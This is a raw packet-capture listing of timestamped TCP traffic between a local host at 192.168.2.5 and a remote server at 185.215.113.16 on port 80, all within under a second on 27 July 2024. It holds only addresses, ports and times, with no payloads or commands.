Jul 27, 2024 09:25:14.390117884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390146017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390156984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390183926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390194893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390201092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390201092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390244007 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390295982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390305996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390316010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390325069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390336037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390347958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390352964 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390366077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390372992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390383959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.390388966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390427113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.390449047 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391073942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391185045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391194105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391204119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391210079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391215086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391220093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391231060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391298056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391298056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391298056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391482115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391499043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391509056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391520023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391529083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391537905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391549110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391557932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391557932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391557932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391567945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391577959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391587973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391606092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391613960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391616106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391625881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391638041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391648054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391658068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391670942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391670942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391683102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391706944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391710043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391717911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391727924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391738892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391799927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391799927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391825914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391836882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391845942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391855955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391866922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391880989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391911030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391940117 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391949892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391951084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.391956091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.391963959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392067909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392067909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392342091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392400980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392410040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392469883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392477036 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392486095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392496109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392504930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392537117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392549992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392560005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392569065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392571926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392579079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392594099 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392616987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392633915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392643929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392644882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392653942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392663002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.392698050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.392760992 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.394571066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394579887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394588947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394646883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.394655943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394663095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.394668102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394678116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394687891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394697905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.394731998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.394758940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480217934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480236053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480246067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480256081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480267048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480277061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480294943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480304956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480315924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480324984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480336905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480340958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480340958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480348110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480360031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480370045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480370045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480380058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480389118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480391026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480401039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480429888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480429888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480446100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480457067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480465889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480470896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480489969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480500937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480501890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480503082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480511904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480523109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480544090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480566025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480572939 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.480577946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480588913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.480856895 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.482939959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483015060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483026028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483037949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483047962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483057976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483069897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483095884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483095884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483095884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483145952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483159065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483170033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483180046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483190060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483200073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483210087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483220100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483246088 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483246088 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483309031 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483309031 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483335018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483346939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483355999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483366966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483376980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483387947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483400106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483411074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483438015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483438015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483438015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483522892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483588934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483599901 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483608961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483613968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483623981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483665943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483725071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483824968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483890057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483901024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483952045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483958006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483958006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.483963013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.483973980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484046936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484046936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484075069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484086037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484097004 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484102011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484112978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484122992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484134912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484136105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484174967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484198093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484204054 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484210014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484220982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484230042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484268904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484294891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484307051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484318018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484328032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484352112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484352112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484390974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484390974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484467983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484478951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484498978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484508991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484519958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484524012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484529972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484540939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484550953 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484561920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484608889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484608889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484608889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484636068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484647036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484657049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484667063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484677076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.484746933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.484746933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.485485077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485552073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485563040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485574007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485584974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.485584974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.485606909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.485639095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485651016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485661030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485671043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485681057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485687017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485718012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485730886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485738039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.485738039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.485742092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485745907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.485779047 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.485954046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.487838030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.487854004 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.487953901 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.487962961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.487962961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.487963915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.487976074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.487986088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.487996101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.488028049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.488105059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.572576046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572606087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572617054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572669983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572681904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572685003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.572701931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.572720051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572731018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572747946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572772026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.572788000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572789907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.572798014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572808027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572818995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.572870970 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.572870970 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.573003054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573014021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573024035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573035002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573045969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573055983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573065042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573074102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573100090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.573100090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.573117018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.573132038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573142052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573153019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573163033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573173046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573183060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573194981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.573198080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.573198080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.573317051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.573317051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575480938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575506926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575516939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575586081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575597048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575607061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575617075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575619936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575619936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575635910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575655937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575668097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575676918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575726986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575726986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575726986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575823069 CEST	80	49705	185.215.113.16	192.168.2.5
